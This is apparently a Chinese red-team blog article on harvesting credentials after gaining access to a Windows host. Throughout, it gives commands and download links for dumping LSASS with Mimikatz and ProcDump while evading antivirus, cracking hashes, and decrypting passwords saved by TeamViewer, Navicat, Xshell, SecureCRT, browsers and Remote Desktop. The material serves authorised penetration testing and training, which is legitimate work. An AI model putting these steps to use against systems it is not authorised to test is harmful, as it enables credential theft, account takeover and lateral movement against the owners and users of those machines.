『红蓝对抗』Windows 下登录凭证获取技巧

文章来源：宸极实验室 0x00 前言 在渗透测试中，当我们拿下一台windows主机后，通常要对主机上的一些密码做信息收集，以便后续渗透使用，本文介绍了几种windows下常见的收集密码的方式。 0x01 windows主机密码抓取 1.1 Mimikatz windows密码抓取神器，从windows系统进程lsass.exe中抓取明文密码。 •下载地址： https://github.com/gentilkiwi/Mimikatz •使用方法：管理员权限运行Mimikatz.exe，执行下面的命令： privilege::debug 提取权限sekurlsa::logonpasswords 抓取密码 1.2 ProcDump + Mimikatz 如果主机上装了杀毒软件，开了防火墙，例如：360、火绒之类的话。Mimikatz就会被检测为病毒，无法使用。 由于Mimikatz是从lsass.exe中提取明文密码的，当无法在目标机器上运行Mimikatz时，我们可使用ProcDump工具将系统的lsass.exe进程进行转储，导出dmp文件，拖回到本地后，在本地再利用Mimikatz进行读取。 ProcDump本身是作为一个正常的运维辅助工具使用，并不带毒，所以不会被杀软查杀。 •下载地址： https://docs.microsoft.com/zh-cn/sysinternals/downloads/ProcDump •使用方法： # 将工具拷贝到目标机器上执行如下命令（需要管理员权限）ProcDump.exe -accepteula -ma lsass.exe lsass.dmp Mimikatz# sekurlsa::minidump lsass.dmp Mimikatz# sekurlsa::logonPasswords full 1.3 PwDump7 使用该工具获取hash值之后，可到cmd5.com进行解密。 1.4 Getpass •下载地址： https://raw.githubusercontent.com/k8gege/K8tools/master/GetPassword_x64.rar 0x02 第三方运维工具密码抓取 2.1 TeamViewer •下载地址： https://github.com/uknowsec/SharpDecryptPwd/raw/master/SharpDecryptPwd.exe •使用方法： SharpDecryptPwd.exe -TeamViewer 2.2 Navicat •下载地址： https://github.com/uknowsec/SharpDecryptPwd/raw/master/SharpDecryptPwd.exe •使用方法： SharpDecryptPwd.exe -NavicatCrypto 2.3 xshell •下载地址： https://github.com/uknowsec/SharpDecryptPwd/raw/master/SharpDecryptPwd.exe •使用方法： 先执行 `whoami /user` 将用户名和sid保存下来，然后再使用下面的命令:SharpDecryptPwd.exe -Xmangager -p SessionPath -s username+sid 2.4 securecrt •下载地址： https://github.com/hustlibraco/Moye/blob/master/SecureCRTDecrypt.py •使用方法： 解密secureCRT保存的密码1. 找到密码保存位置，每台服务器一个ini文件，windows系统位于* 用户名\AppData\Roaming\VanDyke\Config\Sessions\ （安装版）*SecureCRTSecureFX_hh_x86_7.0.0.326\Data\Settings\Config\Sessions （绿色移动版）2. 执行脚本，python SecureCRTDecrypt.py [filename...] 0x03 浏览器密码抓取 3.1 LaZagne •下载地址： https://github.com/ethicalhackeragnidhra/LaZagne/archive/2.3.1.zip •使用方法： laZagne.exe browsers 3.2 BrowserPasswordDump • 下载地址： https://files1.majorgeeks.com/020c4877362530fccadf006a858f56ee9637177d/covertops/BrowserPasswordDump.zip • 使用方法： 点击setup安装完成以后，即可提取出单文件来运行使用。 0x04 远程桌面连接密码抓取 4.1 netpass •下载地址： https://www.nirsoft.net/toolsdownload/netpass-x64.zip •使用说明： 使用管理员权限运行即可 0x05 总结 1、上述描述的抓取密码的方式，大部分需使用管理员权限才能抓取。 2、windows密码仅在win2008及以下可使用，win10及server2012及以上默认不保存明文密码，无法使用工具抓取。